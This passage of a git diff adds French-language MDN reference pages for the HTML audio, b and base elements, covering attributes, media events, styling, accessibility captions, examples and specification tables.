+     un &lt;a href="myAudio.mp4"&gt;lien vers le fichier audio&lt;/a&gt; pour le
+     télécharger.&lt;/p&gt;
+&lt;/audio&gt;</pre>
+
+<p>Autres notes :</p>
+
+<ul>
+ <li>Si l'attribut <code>controls</code> n'est pas indiqué, le lecteur audio n'incluera pas les contrôles par défaut du navigateur. Il est possible de créer des contrôles spécifiques en JavaScript grâce à l'API {{domxref("HTMLMediaElement")}}.</li>
+ <li>Afin d'avoir un contrôle précis sur le contenu audio, l'API <code>HTMLMediaElement</code> déclenche de nombreux<a href="/fr/docs/Web/Guide/DOM/Events/evenement_medias"> évènements</a>.</li>
+ <li>Il est aussi possible d'utiliser <a href="/fr/docs/Web/API/Web_Audio_API">lAPI Web Audio</a> afin de générer et de manipuler des flux audio en JavaScript.</li>
+ <li>Les éléments <code>&lt;audio&gt;</code> ne peuvent pas avoir de sous-titres contrairement aux éléments <code>&lt;video&gt;</code>. Pour plus d'informations et certaines méthodes de contournements, voir <a href="https://www.iandevlin.com/blog/2015/12/html5/webvtt-and-audio">WebVTT et l'audio</a>, écrit par Ian Devlin.</li>
+</ul>
+
+<p>Pour apprendre comment utiliser les éléments liés aux médias, nous vous conseillons de lire <a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video">le tutoriel sur le contenu audio et vidéo</a>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément possède <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd>
+ <p>Attribut booléen. Si celui-ci est renseigné (même avec une valeur "false"), l'élément audio sera joué automatiquement dès qu'assez de données seront chargées.</p>
+
+ <div class="note"><strong>Note :</strong> la lecture automatique peut être source de nuisance pour les utilisateurs. Mieux vaut l'éviter lorsque c'est possible ou proposer à l'utilisateur de pouvoir choisir cette option. Cette valeur peut être utile lorsqu'on crée des fichiers audio dont la source sera définie <em>a posteriori</em>.</div>
+ </dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd>Si l'attribut est présent, le navigateur affichera des contrôles pour que l'utilisateur puisse gérer la lecture, le volume, et le déplacement du curseur de lecture.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>Cet attribut à valeur contrainte indique comment le CORS doit être utilisé afin de récupérer la ressource. <a href="/en-US/docs/CORS_Enabled_Image">Les ressources utilisant le CORS</a> peuvent être réutilisées dans un élément  {{HTMLElement("canvas")}} sans corrompre celui-ci. Les valeurs autorisées pour cet attribut sont :
+ <dl>
+  <dt><code>anonymous</code></dt>
+  <dd>Une requête multi-origine est envoyée sans information d'authentification. Autrement dit, l'en-tête HTTP {{HTTPHeader("Origin")}} est envoyé sans cookie, certificat X.509 ou sans authentification HTTP. Si le serveur ne fournit pas d'information d'authentification au site d'origine (sans indiquer l'en-tête {{HTTPHeader("Access-Control-Allow-Origin")}}), la ressource sera corrompue (<em>tainted</em>) et son utilisation sera restreinte.</dd>
+  <dt><code>use-credentials</code></dt>
+  <dd>Une requête multi-origine est envoyée avec une information d'authentification (c'est-à-dire avec un en-tête HTTP <code>Origin:</code> qui contient un cookie, un certificat ou effectuant une authentification HTTP).</dd>
+ </dl>
+ Lorsque cet attribut n'est pas présent, la ressource est récupérée sans requête CORS et empêche ainsi d'utiliser la ressource dans un {{HTMLElement('canvas')}}. Si la valeur fournie est invalide, elle sera considérée comme <code>anonymous</code>. Voir <a href="/fr/docs/Web/HTML/Reglages_des_attributs_CORS">Paramétrage des attributs relatifs au CORS</a> pour plus d'informations.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>Attribut booléen. S'il est renseigné, la lecture du fichier se fera en boucle.</dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>Attribut booléen, indiquant si le son de l'élément audio est initialement coupé. Sa valeur par défaut est <code>false</code>.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>Cet attribut indique au navigateur ce que l'auteur du code html pense de l'utilisation optimale de cet élément. Il accepte uniquement les valeurs suivantes :<br>
+
+ <ul>
+  <li><code>none</code> :  l'élément audio ne devrait pas être mis en cache</li>
+  <li><code>metadata</code> : seules les méta-données (comme la durée) sont préchargées</li>
+  <li><code>auto</code> : tout le fichier peut être téléchargé, même s'il n'est pas certain que l'utilisateur le lira</li>
+  <li><code>"" </code>(chaîne de caractères vide) : synonyme de <code>auto</code></li>
+ </ul>
+ La valeur par défaut peut varier d'un navigateur à l'autre. Les spécifications recommandent la valeur <code>metadata</code>.</dd>
+</dl>
+
+<div class="note"><strong>Notes d'utilisation :</strong>
+
+<ul>
+ <li>L'attribut <code>autoplay</code> est prioritaire sur cet attribut. Si le navigateur a besoin de jouer cet élément, il le téléchargera automatiquement</li>
+ <li>La spécification n'impose pas au navigateur de prendre en compte cet attribut. Il n'a qu'une valeur indicative.</li>
+</ul>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>L'URL du fichier audio à intégrer. Cet attribut suit les <a href="/fr/docs/HTTP/Access_control_CORS">spécifications du CORS</a>. Il est optionnel; on peut lui préférer l'élément {{HTMLElement("source")}} dans le bloc de l'élément sur lequel il est défini.</dd>
+</dl>
+
+<h2 id="Évènements">Évènements</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nom</th>
+   <th scope="col">Condition du déclenchement</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("audioprocess")}}</td>
+   <td>La mémoire tampon en entrée d'un {{DOMxRef("ScriptProcessorNode")}} peut désormais être traité.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}</td>
+   <td>Le navigateur peut lire le média mais estime que trop peu de données ont été chargées pour lire le média jusqu'à sa fin (il faudra vraisemblablement un arrêt pour un chargement en mémoire tampon).</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}</td>
+   <td>Le navigateur estime qu'il peut lire le média jusqu'à sa fin, sans avoir à interrompre la lecture par du chargement en mémoire tampon.</td>
+  </tr>
+  <tr>
+   <td>{{Event("complete")}}</td>
+   <td>Le rendu d'un {{DOMxRef("OfflineAudioContext")}} est terminé.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}</td>
+   <td>L'attribut <code>duration</code> a été mis à jour.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}</td>
+   <td>Le média est devenu vide. Cela peut par exemple se produire lorsque le média a déjà été (partiellement ou complètement) chargé et que la méthode <a href="/fr/docs/Web/API/HTMLMediaElement/load" rel="internal"><code>load()</code></a> est invoquée pour le recharger.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.ended_event", 'ended')}}</td>
+   <td>La lecture a été interrompue car la fin du média est atteinte.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}</td>
+   <td>La première <em>frame</em> du média a été chargée.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}</td>
+   <td>Les métadonnées ont été chargées.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.pause_event", 'pause')}}</td>
+   <td>La lecture a été mise en pause.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.play_event", 'play')}}</td>
+   <td>La lecture a démarré.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.playing_event", 'playing ')}}</td>
+   <td>La lecture est prête à être lancée après avoir été mise en pause ou interrompue pour un chargement en mémoire de données.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}</td>
+   <td>La vitesse de lecture a changé.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.seeked_event", 'seeked')}}</td>
+   <td>Une opération de déplacement du curseur de lecture (<em>seek</em>) est terminée.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}</td>
+   <td>Une opération de déplacement du curseur de lecture (<em>seek</em>) a été initiée.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}</td>
+   <td>L'agent utilisateur tente de récupérer les données associées au média mais les données ne parviennent pas.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}</td>
+   <td>Le chargement des données du média ont été suspendues.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}</td>
+   <td>Le temps décrit par l'attribut <code>currentTime</code> a été mis à jour.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}</td>
+   <td>Le volume a été modifié.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}</td>
+   <td>La lecture a été interrompue en raison d'un manque temporaire de données.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Notes_d'utilisation">Notes d'utilisation</h2>
+
+<h3 id="Mise_en_forme_avec_CSS">Mise en forme avec CSS</h3>
+
+<p>L'élément <code>&lt;audio&gt;</code> n'a aucun affichage intrinsèque en dehors des contrôles par défaut du navigateur qui sont affichés lorsque l'attribut booléen <code>controls</code> est présent.</p>
+
+<p>Les contrôles par défaut sont affichés avec {{cssxref("display")}} qui vaut <code>inline</code> par défaut et il est possible de changer cette valeur en <code>block</code> dans une feuille de style afin de pouvoir placer le contrôle au sein de la disposition, à moins de vouloir le placer en incise.</p>
+
+<p>Les contrôles par défaut peuvent être mis en forme grâce à des propriétés qui influent sur l'ensemble du bloc. On peut ainsi utiliser {{cssxref("border")}}, {{cssxref("border-radius")}}, {{cssxref("padding")}}, {{cssxref("margin")}}, etc. Toutefois, il n'est pas possible de mettre en forme chacun des composants individuel du contrôle (on ne peut pas, par exemple, modifier la taille d'un des boutons ou leurs icones). Chaque navigateur peut avoir des contrôles par défaut qui soient différents.</p>
+
+<p>Pour obtenir un aspect identique dans les différents navigateurs, il vous faudra créer vos propres contrôles afin de les baliser et de les mettre en forme à votre convenance puis d'utiliser JavaScript et l'API {{domxref("HTMLMediaElement")}} pour manipuler les différentes fonctionnalités.</p>
+
+<p><a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/Video_player_styling_basics">Le guide sur la mise en forme des lecteurs vidéo</a> fournit quelques techniques utiles, bien qu'écrit à propos de l'élément <code>&lt;video&gt;</code>, certains concepts peuvent tout à fait s'appliquer aux éléments <code>&lt;audio&gt;</code>.</p>
+
+<h3 id="Détecter_l'ajout_et_la_suppression_de_pistes">Détecter l'ajout et la suppression de pistes</h3>
+
+<p>Il est aussi possible de détecter lorsque des pistes sont ajoutées et supprimées sur un élément <code>&lt;audio&gt;</code> en écoutant les évènements {{event("addtrack")}} et {{event("removetrack")}}. Toutefois, ces évènements ne sont pas directement envoyés sur l'élément <code>&lt;audio&gt;</code> mais sur l'objet représentant la liste de pistes de l'élément <code>&lt;audio&gt;</code> et rattaché à l'élément {{domxref("HTMLMediaElement")}}.</p>
+
+<dl>
+ <dt>{{domxref("HTMLMediaElement.audioTracks")}}</dt>
+ <dd>Un objet {{domxref("AudioTrackList")}} contenant l'ensemble des pistes audio associées à l'élément. Un écouteur <code>addtrack</code> peut être associé à l'objet afin d'alerter lorsque de nouvelles pistes audio sont ajoutées à l'élément.</dd>
+ <dt>{{domxref("HTMLMediaElement.videoTracks")}}</dt>
+ <dd>Un écouteur <code>addtrack</code> peut être ajouté à cet objet {{domxref("VideoTrackList")}} afin d'alerter lorsque de nouvelles pistes vidéo sont ajoutées à l'élément.</dd>
+ <dt>{{domxref("HTMLElement.textTracks")}}</dt>
+ <dd>Un écouteur <code>addtrack</code> peut être ajouté à cet objet {{domxref("TextTrackList")}} afin d'alerter lorsque de nouvelles pistes de texte sont ajoutées à l'élément.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Bien qu'on parle ici d'un élément <code>&lt;audio&gt;</code>, il est possible qu'un tel élément possède des pistes vidéo et des pistes texte bien que la cohérence des interfaces puisse être mise à mal.</p>
+</div>
+
+<p>Ainsi, on pourra utiliser un fragment de code analogue à celui qui suit pour détecter si de nouvelles pistes sont ajoutées ou supprimées d'un élément <code>&lt;audio&gt;</code> :</p>
+
+<pre class="brush: js">var elem = document.querySelector("audio");
+
+elem.audioTrackList.onaddtrack = function(event) {
+  trackEditor.addTrack(event.track);
+};
+
+elem.audioTrackList.onremovetrack = function(event) {
+  trackEditor.removeTrack(event.track);
+};
+</pre>
+
+<p>Ce code permet de surveiller lorsque de nouvelles pistes audio sont ajoutées et supprimées. Lorsque c'est le cas, une fonction (non décrite ici) est invoquée afin de mettre à jour l'éditeur présenté à l'utilisateur avec la liste des pistes disponibles.</p>
+
+<p>Il est aussi possible d'utiliser {{domxref("EventTarget.addEventListener", "addEventListener()")}} afin d'écouter les évènements {{event("addtrack")}} et {{event("removetrack")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<pre class="brush: html">&lt;!-- Simple lecture audio --&gt;
+&lt;audio src="http://developer.mozilla.org/@api/deki/files/2926/=AudioTest_(1).ogg" autoplay&gt;
+  Votre navigateur ne supporte pas l'élément &lt;code&gt;audio&lt;/code&gt;.
+&lt;/audio&gt;
+</pre>
+
+<h3 id="Utilisation_de_l'élément_&lt;source>">Utilisation de l'élément <code>&lt;source&gt;</code></h3>
+
+<pre class="brush: html">&lt;audio controls="controls"&gt;
+  &lt;source src="toto.wav" type="audio/wav"&gt;
+  Votre navigateur ne prend pas en charge l'élément &lt;code&gt;audio&lt;/code&gt;.
+&lt;/audio&gt;
+</pre>
+
+<h3 id="Utilisation_de_plusieurs_éléments_&lt;source>">Utilisation de plusieurs éléments <code>&lt;source&gt;</code></h3>
+
+<p>Dans l'exemple qui suit, le navigateur essaiera de jouer le premier fichier correspondant au premier élément (celui avec le codec Opus) : s'il peut le lire, il n'interprète pas les suivants ; s'il ne peut pas le lire, il tente de lire le deuxième puis, si ce n'est toujours pas possible, le troisième (au format MP3) :</p>
+
+<pre class="brush: html">&lt;audio controls=""&gt;
+  &lt;source src="toto.opus" type="audio/ogg; codecs=opus"/&gt;
+  &lt;source src="toto.ogg" type="audio/ogg; codecs=vorbis"/&gt;
+ &lt;source src="toto.mp3" type="audio/mpeg"/&gt;
+&lt;/audio&gt;</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les éléments audio contenant des dialogues parlés doivent fournir des sous-titres et des transcriptions qui décrivent précisément le contenu. Les sous-titres permettent aux personnes souffrant de troubles auditifs ou ne pouvant pas utiliser le son de l'appareil de lire le fichier. Les transcriptions permettent aux personnes ayant besoin de plus de temps pour lire le contenu d'utiliser un format plus adéquat.</p>
+
+<p>Si un service de sous-titre automatique est utilisé, il est nécessaire de vérifier le contenu généré afin de s'assurer qu'il correspond correctement à la source audio.</p>
+
+<p>En plus des dialogues, les sous-titres et transcriptions devraient également permettre d'identifier les musiques et effets sonores qui véhiculent des informations importantes (dont l'émotion et le ton) :</p>
+
+<pre>1
+00:00:00 --&gt; 00:00:45
+[Musique avec des trompettes sonnantes]
+
+2
+00:00:46 --&gt; 00:00:51
+Elle est où la poulette ?
+
+16
+00:00:52 --&gt; 00:01:02
+[sur un ton énervé] Vous rendez la poulette ou c'est plus vous qui donnez à manger aux lapins ?
+</pre>
+
+<ul>
+ <li><a href="/en-US/docs/Plugins/Flash_to_HTML5/Video/Subtitles_captions">Sous-titrage sur le web</a></li>
+ <li><a href="/fr/docs/Web/API/WebVTT_API">Web Video Text Tracks Format (WebVTT)</a></li>
+ <li><a href="https://webaim.org/techniques/captions/"><em>WebAIM: Captions, Transcripts, and Audio Descriptions</em> (en anglais)</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.2_—_Providing_text_alternatives_for_time-based_media">Comprendre les règles WCAG 1.2</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-av-only-alt.html"><em>Understanding Success Criterion 1.2.1 | W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/media-equiv-captions.html"><em>Understanding Success Criterion 1.2.2 | W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_int.C3.A9gr.C3.A9">contenu intégré</a>.<br>
+    Si l'attribut {{htmlattrxref("controls", "audio")}} est utilisé : <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu interactif</a> et <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_interactif">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td>Si l'élément possède un attribut {{htmlattrxref("src", "audio")}} : zéro ou plusieurs éléments {{HTMLElement("track")}}, suivis par du contenu transparent ne contenant pas d'éléments média, c'est-à-dire des éléments qui ne soient pas {{HTMLElement("audio")}} ou {{HTMLElement("video")}}<br>
+    Sinon : zéro ou plusieurs éléments {{HTMLElement("source")}} suivis par un élément {{HTMLElement("track")}}, suivi par du contenu transparent ne contenant pas d'éléments média (ni {{HTMLElement("audio")}} ni {{HTMLElement("video")}}).</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du contenu intégré.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("application")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLAudioElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-audio-element', '&lt;audio&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-audio-element', '&lt;audio&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.audio")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Media/Formats/Audio_codecs">Guide sur les codecs audio utilisés sur le Web</a></li>
+ <li><a href="/fr/docs/Web/HTML/formats_media_support">Formats de média pris en charge par les éléments <code>audio</code> et <code>video</code></a></li>
+ <li><a href="/fr/docs/Web/API/Web_Audio_API">API Web Audio</a></li>
+ <li>{{domxref("HTMLAudioElement")}}</li>
+ <li><a href="/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a></li>
+ <li>{{htmlelement("source")}}</li>
+ <li>{{htmlelement("video")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Utilisation_d'audio_et_video_en_HTML5">Utiliser les éléments HTML5 <code>audio</code> et <code>video</code></a></li>
+ <li>L'élément <code>audio</code> selon <a href="https://www.whatwg.org/specs/web-apps/current-work/#audio">la spécification HTML5</a></li>
+ <li><a href="/fr/Apps/Fundamentals/Audio_and_video_delivery/Cross-browser_audio_basics">Utiliser des médias audio pour les différents navigateurs</a></li>
+</ul>
diff --git a/files/fr/web/html/element/b/index.html b/files/fr/web/html/element/b/index.html
new file mode 100644
index 0000000000..bad2d8383b
--- /dev/null
+++ b/files/fr/web/html/element/b/index.html
@@ -0,0 +1,119 @@
+---
+title: '<b> : l''élément portant à l''attention'
+slug: Web/HTML/Element/b
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/b
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;b&gt;</code></strong> permet d'attirer l'attention du lecteur sur le contenu d'un élément sans que ce contenu revêt une importance particulière. Anciennement utilisé pour mettre le texte en gras. Cet élément ne doit pas être utilisé pour mettre en forme des éléments, c'est la propriété CSS {{cssxref("font-weight")}} qu'il faut utiliser. Si l'élément est d'une importance particulière, on utilisera l'élément HTML {{HTMLElement("strong")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/b.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Seuls <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> peuvent être utilisés pour cet élément.</p>
+
+<h2 id="Notes_d'utilisation"><strong>Notes d'utilisation</strong></h2>
+
+<ul>
+ <li><code>&lt;b&gt;</code> est habituellement utilisé pour les mots-clés dans les résumés, les noms de produits dans des tests (sans que ceux-ci aient une importance particulière). Il peut également être utilisé afin d'indiquer la première phrase de chaque paragraphe d'un article.</li>
+ <li>Il ne faut pas confondre l'élément <code>&lt;b&gt;</code> avec les éléments {{HTMLElement("strong")}}, {{HTMLElement("em")}}, ou {{HTMLElement("mark")}}. L'élément {{HTMLElement("strong")}} réprésente un texte d'une certaine <em>importance</em>, {{HTMLElement("em")}} met une emphase sur le texte et {{HTMLElement("mark")}} réprésente un texte avec une certaine <em>pertinence</em>. L'élément <code>&lt;b&gt;</code> ne porte aucune information sémantique particulière ; utilisez-le lorsque qu'aucun autre ne convient.</li>
+ <li>De la même façon, ne balisez pas les titres en utilisant l'élément <code>&lt;b&gt;</code>. Pour cet usage, utilisez les balises {{HTMLElement("h1")}} à {{HTMLElement("h6")}}. De plus, les feuilles de style peuvent changer le style par défaut de ces éléments. Ils ne seront pas <em>forcément</em> affichés en gras.</li>
+ <li>C'est généralement une bonne pratique d'utiliser l'attribut {{htmlattrxref("class")}} sur l'élément <code>&lt;b&gt;</code> lorsqu'on souhaite transporter des informations sémantiques supplémentaires. Cela facilitera le développement des styles à appliquer sur le document, sans avoir à modifier le code HTML.</li>
+ <li>Historiquement, l'élément &lt;b&gt; a été pensé pour rendre du texte avec une police grasse. Les éléments à seul but stylistique on été déprécié avec HTML 4. Ainsi, le sens de l'élément <code>&lt;b&gt;</code> a évolué.</li>
+ <li>S'il n'y aucune raison particulière d'utiliser l'élément <code>&lt;b&gt;</code>, en dehors de son apparence en gras, l'utilisation de la propriété <a href="/fr/docs/Web/CSS">CSS</a> {{cssxref('font-weight')}} avec une valeur <code>bold</code> est à privilégier.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;p&gt;
+  Cet article décrit plusieurs éléments &lt;b class="keyword"&gt;texte&lt;/b&gt;.
+  Il explique leurs usage dans un document &lt;b class="keyword"&gt;HTML&lt;/b&gt;.
+&lt;/p&gt;
+Les mots-clés sont affichés avec le style par défaut de
+l'élément &amp;lt;b&amp;gt;, sûrement en gras.
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","300")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-b-element', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.b")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments portants une sémantique textuelle : {{HTMLElement("a")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("abbr")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+ <li><a href="https://www.w3.org/International/questions/qa-b-and-i-tags">Utiliser les éléments <code>&lt;b&gt;</code> et <code>&lt;i&gt;</code> (W3C)</a></li>
+</ul>
diff --git a/files/fr/web/html/element/base/index.html b/files/fr/web/html/element/base/index.html
new file mode 100644
index 0000000000..c98d297dd2
--- /dev/null
+++ b/files/fr/web/html/element/base/index.html
@@ -0,0 +1,122 @@
+---
+title: '<base> : l''élément pour l''URL de base du document'
+slug: Web/HTML/Element/base
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/base
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong><code>&lt;base&gt;</code></strong> définit l'URL de base à utiliser pour recomposer toutes les URL relatives contenues dans un document. Il ne peut y avoir qu'un seul élément <code>&lt;base&gt;</code> au sein d'un document.</p>
+
+<p>Il est possible d'accéder à l'URL de base d'un document via un script en utilisant {{domxref('document.baseURI')}}.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a> peuvent être utilisés sur cet élément.</p>
+
+<dl>
+ <dt>{{htmlattrdef("href")}}</dt>
+ <dd>L'URL de base à utiliser afin de recomposer les URL relatives contenues dans le document. Si cet attribut est défini, cet élément doit être présent avant les éléments dont les attributs sont des URL.<br>
+ Les URI absolues et relatives sont autorisées (voir la note ci-après).</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
